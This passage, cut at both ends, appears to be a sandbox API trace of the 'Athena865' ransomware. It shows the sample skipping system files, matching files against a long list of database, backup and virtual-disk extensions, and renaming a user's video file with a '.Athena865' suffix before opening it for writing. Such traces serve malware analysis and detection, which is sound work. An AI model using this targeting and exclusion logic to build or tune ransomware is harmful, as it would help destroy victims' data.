0x529bd0 [0102.593] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.593] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.593] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.593] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949798e0, ftCreationTime.dwHighDateTime=0x1d4c5e6, ftLastAccessTime.dwLowDateTime=0xc7654c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7654c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.593] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.593] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.593] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.593] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.593] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2030bbd0, ftCreationTime.dwHighDateTime=0x1d4c884, ftLastAccessTime.dwLowDateTime=0xf7dc4080, ftLastAccessTime.dwHighDateTime=0x1d4c9d9, ftLastWriteTime.dwLowDateTime=0xf7dc4080, ftLastWriteTime.dwHighDateTime=0x1d4c9d9, nFileSizeHigh=0x0, nFileSizeLow=0xc641, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0 GWYl6Fi7U2Tk3.avi", cAlternateFileName="0GWYL6~1.AVI")) returned 1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2=".") returned 1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="..") returned 1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="windows") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="bootmgr") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="temp") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="pagefile.sys") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="boot") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="ids.txt") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="ntuser.dat") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="perflogs") returned -1 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2="MSBuild") returned -1 [0102.593] lstrlenW (lpString="0 GWYl6Fi7U2Tk3.avi") returned 19 [0102.593] lstrcpyW (in: lpString1=0x241e8ca, lpString2="0 GWYl6Fi7U2Tk3.avi" | out: lpString1="0 GWYl6Fi7U2Tk3.avi") returned="0 GWYl6Fi7U2Tk3.avi" [0102.593] lstrlenW (lpString="0 GWYl6Fi7U2Tk3.avi") returned 19 [0102.593] lstrlenW (lpString="Athena865") returned 9 [0102.593] lstrcmpiW (lpString1="U2Tk3.avi", lpString2="Athena865") returned 1 [0102.593] lstrlenW (lpString=".dll") returned 4 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2=".dll") returned 1 [0102.593] lstrlenW (lpString=".lnk") returned 4 [0102.593] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2=".lnk") returned 1 [0102.593] lstrlenW (lpString=".ini") returned 4 [0102.594] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2=".ini") returned 1 [0102.594] lstrlenW (lpString=".sys") returned 4 [0102.594] lstrcmpiW (lpString1="0 GWYl6Fi7U2Tk3.avi", lpString2=".sys") returned 1 [0102.594] lstrlenW (lpString="0 GWYl6Fi7U2Tk3.avi") returned 19 [0102.594] lstrlenW (lpString="bak") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1 [0102.594] lstrlenW (lpString="ba_") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1 [0102.594] lstrlenW (lpString="dbb") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1 [0102.594] lstrlenW (lpString="vmdk") returned 4 [0102.594] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1 [0102.594] lstrlenW (lpString="rar") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1 [0102.594] lstrlenW (lpString="zip") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1 [0102.594] lstrlenW (lpString="tgz") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1 [0102.594] lstrlenW (lpString="vbox") returned 4 [0102.594] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1 [0102.594] lstrlenW (lpString="vdi") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1 [0102.594] lstrlenW (lpString="vhd") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1 [0102.594] lstrlenW (lpString="vhdx") returned 4 [0102.594] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1 [0102.594] lstrlenW (lpString="avhd") returned 4 [0102.594] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1 [0102.594] lstrlenW (lpString="db") returned 2 [0102.594] lstrcmpiW (lpString1="vi", lpString2="db") returned 1 [0102.594] lstrlenW (lpString="db2") returned 3 [0102.594] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1 [0102.594] lstrlenW (lpString="db3") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1 [0102.595] lstrlenW (lpString="dbf") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1 [0102.595] lstrlenW (lpString="mdf") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1 [0102.595] lstrlenW (lpString="mdb") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1 [0102.595] lstrlenW (lpString="sql") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1 [0102.595] lstrlenW (lpString="sqlite") returned 6 [0102.595] lstrcmpiW (lpString1="k3.avi", lpString2="sqlite") returned -1 [0102.595] lstrlenW (lpString="sqlite3") returned 7 [0102.595] lstrcmpiW (lpString1="Tk3.avi", lpString2="sqlite3") returned 1 [0102.595] lstrlenW (lpString="sqlitedb") returned 8 [0102.595] lstrcmpiW (lpString1="2Tk3.avi", lpString2="sqlitedb") returned -1 [0102.595] lstrlenW (lpString="xml") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1 [0102.595] lstrlenW (lpString="$er") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1 [0102.595] lstrlenW (lpString="4dd") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1 [0102.595] lstrlenW (lpString="4dl") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1 [0102.595] lstrlenW (lpString="^^^") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1 [0102.595] lstrlenW (lpString="abs") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1 [0102.595] lstrlenW (lpString="abx") returned 3 [0102.595] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1 [0102.595] lstrlenW (lpString="accdb") returned 5 [0102.595] lstrcmpiW (lpString1="3.avi", lpString2="accdb") returned -1 [0102.595] lstrlenW (lpString="accdc") returned 5 [0102.596] lstrcmpiW (lpString1="3.avi", lpString2="accdc") returned -1 [0102.596] lstrlenW (lpString="accde") returned 5 [0102.596] lstrcmpiW (lpString1="3.avi", lpString2="accde") returned -1 [0102.596] lstrlenW (lpString="accdr") returned 5 [0102.596] lstrcmpiW (lpString1="3.avi", lpString2="accdr") returned -1 [0102.596] lstrlenW (lpString="accdt") returned 5 [0102.596] lstrcmpiW (lpString1="3.avi", lpString2="accdt") returned -1 [0102.596] lstrlenW (lpString="accdw") returned 5 [0102.596] lstrcmpiW (lpString1="3.avi", lpString2="accdw") returned -1 [0102.596] lstrlenW (lpString="accft") returned 5 [0102.596] lstrcmpiW (lpString1="3.avi", lpString2="accft") returned -1 [0102.596] lstrlenW (lpString="adb") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0102.596] lstrlenW (lpString="adb") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1 [0102.596] lstrlenW (lpString="ade") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1 [0102.596] lstrlenW (lpString="adf") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1 [0102.596] lstrlenW (lpString="adn") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1 [0102.596] lstrlenW (lpString="adp") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1 [0102.596] lstrlenW (lpString="alf") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1 [0102.596] lstrlenW (lpString="ask") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1 [0102.596] lstrlenW (lpString="btr") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1 [0102.596] lstrlenW (lpString="cat") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1 [0102.596] lstrlenW (lpString="cdb") returned 3 [0102.596] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1 [0102.597] lstrlenW (lpString="ckp") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1 [0102.597] lstrlenW (lpString="cma") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1 [0102.597] lstrlenW (lpString="cpd") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1 [0102.597] lstrlenW (lpString="dacpac") returned 6 [0102.597] lstrcmpiW (lpString1="k3.avi", lpString2="dacpac") returned 1 [0102.597] lstrlenW (lpString="dad") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1 [0102.597] lstrlenW (lpString="dadiagrams") returned 10 [0102.597] lstrcmpiW (lpString1="7U2Tk3.avi", lpString2="dadiagrams") returned -1 [0102.597] lstrlenW (lpString="daschema") returned 8 [0102.597] lstrcmpiW (lpString1="2Tk3.avi", lpString2="daschema") returned -1 [0102.597] lstrlenW (lpString="db-journal") returned 10 [0102.597] lstrcmpiW (lpString1="7U2Tk3.avi", lpString2="db-journal") returned -1 [0102.597] lstrlenW (lpString="db-shm") returned 6 [0102.597] lstrcmpiW (lpString1="k3.avi", lpString2="db-shm") returned 1 [0102.597] lstrlenW (lpString="db-wal") returned 6 [0102.597] lstrcmpiW (lpString1="k3.avi", lpString2="db-wal") returned 1 [0102.597] lstrlenW (lpString="dbc") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1 [0102.597] lstrlenW (lpString="dbs") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1 [0102.597] lstrlenW (lpString="dbt") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1 [0102.597] lstrlenW (lpString="dbv") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1 [0102.597] lstrlenW (lpString="dbx") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1 [0102.597] lstrlenW (lpString="dcb") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1 [0102.597] lstrlenW (lpString="dct") returned 3 [0102.597] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1 [0102.598] lstrlenW (lpString="dcx") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1 [0102.598] lstrlenW (lpString="ddl") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1 [0102.598] lstrlenW (lpString="dlis") returned 4 [0102.598] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1 [0102.598] lstrlenW (lpString="dp1") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1 [0102.598] lstrlenW (lpString="dqy") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1 [0102.598] lstrlenW (lpString="dsk") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1 [0102.598] lstrlenW (lpString="dsn") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1 [0102.598] lstrlenW (lpString="dtsx") returned 4 [0102.598] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1 [0102.598] lstrlenW (lpString="dxl") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1 [0102.598] lstrlenW (lpString="eco") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1 [0102.598] lstrlenW (lpString="ecx") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1 [0102.598] lstrlenW (lpString="edb") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1 [0102.598] lstrlenW (lpString="epim") returned 4 [0102.598] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1 [0102.598] lstrlenW (lpString="fcd") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1 [0102.598] lstrlenW (lpString="fdb") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1 [0102.598] lstrlenW (lpString="fic") returned 3 [0102.598] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1 [0102.598] lstrlenW (lpString="flexolibrary") returned 12 [0102.599] lstrcmpiW (lpString1="Fi7U2Tk3.avi", lpString2="flexolibrary") returned -1 [0102.599] lstrlenW (lpString="fm5") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1 [0102.599] lstrlenW (lpString="fmp") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1 [0102.599] lstrlenW (lpString="fmp12") returned 5 [0102.599] lstrcmpiW (lpString1="3.avi", lpString2="fmp12") returned -1 [0102.599] lstrlenW (lpString="fmpsl") returned 5 [0102.599] lstrcmpiW (lpString1="3.avi", lpString2="fmpsl") returned -1 [0102.599] lstrlenW (lpString="fol") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1 [0102.599] lstrlenW (lpString="fp3") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1 [0102.599] lstrlenW (lpString="fp4") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1 [0102.599] lstrlenW (lpString="fp5") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1 [0102.599] lstrlenW (lpString="fp7") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1 [0102.599] lstrlenW (lpString="fpt") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1 [0102.599] lstrlenW (lpString="frm") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1 [0102.599] lstrlenW (lpString="gdb") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0102.599] lstrlenW (lpString="gdb") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0102.599] lstrlenW (lpString="grdb") returned 4 [0102.599] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1 [0102.599] lstrlenW (lpString="gwi") returned 3 [0102.599] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1 [0102.599] lstrlenW (lpString="hdb") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1 [0102.600] lstrlenW (lpString="his") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="his") returned -1 [0102.600] lstrlenW (lpString="ib") returned 2 [0102.600] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1 [0102.600] lstrlenW (lpString="idb") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1 [0102.600] lstrlenW (lpString="ihx") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1 [0102.600] lstrlenW (lpString="itdb") returned 4 [0102.600] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1 [0102.600] lstrlenW (lpString="itw") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1 [0102.600] lstrlenW (lpString="jet") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1 [0102.600] lstrlenW (lpString="jtx") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1 [0102.600] lstrlenW (lpString="kdb") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1 [0102.600] lstrlenW (lpString="kexi") returned 4 [0102.600] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1 [0102.600] lstrlenW (lpString="kexic") returned 5 [0102.600] lstrcmpiW (lpString1="3.avi", lpString2="kexic") returned -1 [0102.600] lstrlenW (lpString="kexis") returned 5 [0102.600] lstrcmpiW (lpString1="3.avi", lpString2="kexis") returned -1 [0102.600] lstrlenW (lpString="lgc") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1 [0102.600] lstrlenW (lpString="lwx") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1 [0102.600] lstrlenW (lpString="maf") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1 [0102.600] lstrlenW (lpString="maq") returned 3 [0102.600] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1 [0102.601] lstrlenW (lpString="mar") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1 [0102.601] lstrlenW (lpString="marshal") returned 7 [0102.601] lstrcmpiW (lpString1="Tk3.avi", lpString2="marshal") returned 1 [0102.601] lstrlenW (lpString="mas") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1 [0102.601] lstrlenW (lpString="mav") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1 [0102.601] lstrlenW (lpString="maw") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1 [0102.601] lstrlenW (lpString="mdbhtml") returned 7 [0102.601] lstrcmpiW (lpString1="Tk3.avi", lpString2="mdbhtml") returned 1 [0102.601] lstrlenW (lpString="mdn") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1 [0102.601] lstrlenW (lpString="mdt") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1 [0102.601] lstrlenW (lpString="mfd") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1 [0102.601] lstrlenW (lpString="mpd") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1 [0102.601] lstrlenW (lpString="mrg") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1 [0102.601] lstrlenW (lpString="mud") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1 [0102.601] lstrlenW (lpString="mwb") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1 [0102.601] lstrlenW (lpString="myd") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1 [0102.601] lstrlenW (lpString="ndf") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1 [0102.601] lstrlenW (lpString="nnt") returned 3 [0102.601] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1 [0102.601] lstrlenW (lpString="nrmlib") returned 6 [0102.601] lstrcmpiW (lpString1="k3.avi", lpString2="nrmlib") returned -1 [0102.602] lstrlenW (lpString="ns2") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1 [0102.602] lstrlenW (lpString="ns3") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1 [0102.602] lstrlenW (lpString="ns4") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1 [0102.602] lstrlenW (lpString="nsf") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1 [0102.602] lstrlenW (lpString="nv") returned 2 [0102.602] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1 [0102.602] lstrlenW (lpString="nv2") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1 [0102.602] lstrlenW (lpString="nwdb") returned 4 [0102.602] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1 [0102.602] lstrlenW (lpString="nyf") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1 [0102.602] lstrlenW (lpString="odb") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0102.602] lstrlenW (lpString="odb") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0102.602] lstrlenW (lpString="oqy") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1 [0102.602] lstrlenW (lpString="ora") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1 [0102.602] lstrlenW (lpString="orx") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1 [0102.602] lstrlenW (lpString="owc") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1 [0102.602] lstrlenW (lpString="p96") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1 [0102.602] lstrlenW (lpString="p97") returned 3 [0102.602] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1 [0102.602] lstrlenW (lpString="pan") returned 3 [0102.603] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1 [0102.603] lstrlenW (lpString="pdb") returned 3 [0102.603] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1 [0102.603] lstrlenW (lpString="pdm") returned 3 [0102.603] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1 [0102.603] lstrlenW (lpString="pnz") returned 3 [0102.603] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1 [0102.603] lstrlenW (lpString="qry") returned 3 [0102.603] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1 [0102.603] lstrlenW (lpString="qvd") returned 3 [0102.603] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1 [0102.603] lstrlenW (lpString="rbf") returned 3 [0102.603] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1 [0102.603] lstrlenW (lpString="rctd") returned 4 [0102.603] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1 [0102.603] lstrlenW (lpString="rod") returned 3 [0102.603] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1 [0102.603] lstrlenW (lpString="rodx") returned 4 [0102.603] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1 [0102.603] lstrlenW (lpString="rpd") returned 3 [0102.604] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1 [0102.604] lstrlenW (lpString="rsd") returned 3 [0102.604] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1 [0102.604] lstrlenW (lpString="sas7bdat") returned 8 [0102.604] lstrcmpiW (lpString1="2Tk3.avi", lpString2="sas7bdat") returned -1 [0102.604] lstrlenW (lpString="sbf") returned 3 [0102.604] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1 [0102.604] lstrlenW (lpString="scx") returned 3 [0102.605] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1 [0102.605] lstrlenW (lpString="sdb") returned 3 [0102.605] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1 [0102.605] lstrlenW (lpString="sdc") returned 3 [0102.605] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1 [0102.605] lstrlenW (lpString="sdf") returned 3 [0102.605] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1 [0102.605] lstrlenW (lpString="sis") returned 3 [0102.605] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1 [0102.605] lstrlenW (lpString="spq") returned 3 [0102.605] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1 [0102.605] lstrlenW (lpString="te") returned 2 [0102.605] lstrcmpiW (lpString1="vi", lpString2="te") returned 1 [0102.605] lstrlenW (lpString="teacher") returned 7 [0102.605] lstrcmpiW (lpString1="Tk3.avi", lpString2="teacher") returned 1 [0102.605] lstrlenW (lpString="tmd") returned 3 [0102.605] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1 [0102.605] lstrlenW (lpString="tps") returned 3 [0102.606] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1 [0102.607] lstrlenW (lpString="trc") returned 3 [0102.607] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0102.608] lstrlenW (lpString="trc") returned 3 [0102.608] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0102.609] lstrlenW (lpString="trm") returned 3 [0102.611] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1 [0102.612] lstrlenW (lpString="udb") returned 3 [0102.612] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1 [0102.612] lstrlenW (lpString="udl") returned 3 [0102.612] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1 [0102.612] lstrlenW (lpString="usr") returned 3 [0102.613] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1 [0102.613] lstrlenW (lpString="v12") returned 3 [0102.613] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1 [0102.613] lstrlenW (lpString="vis") returned 3 [0102.613] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1 [0102.613] lstrlenW (lpString="vpd") returned 3 [0102.613] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1 [0102.613] lstrlenW (lpString="vvv") returned 3 [0102.613] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1 [0102.613] lstrlenW (lpString="wdb") returned 3 [0102.613] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1 [0102.613] lstrlenW (lpString="wmdb") returned 4 [0102.613] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1 [0102.613] lstrlenW (lpString="wrk") returned 3 [0102.613] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1 [0102.614] lstrlenW (lpString="xdb") returned 3 [0102.614] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1 [0102.614] lstrlenW (lpString="xld") returned 3 [0102.614] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1 [0102.614] lstrlenW (lpString="xmlff") returned 5 [0102.614] lstrcmpiW (lpString1="3.avi", lpString2="xmlff") returned -1 [0102.614] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\0 GWYl6Fi7U2Tk3.avi.Athena865") returned 94 [0102.614] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\0 GWYl6Fi7U2Tk3.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\0 gwyl6fi7u2tk3.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\0 GWYl6Fi7U2Tk3.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\0 gwyl6fi7u2tk3.avi.athena865"), dwFlags=0x1) returned 1 [0102.615] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\0 GWYl6Fi7U2Tk3.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\0 gwyl6fi7u2tk3.avi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.615] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50753) returned 1 [0102.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.615] RtlAllocateHeap 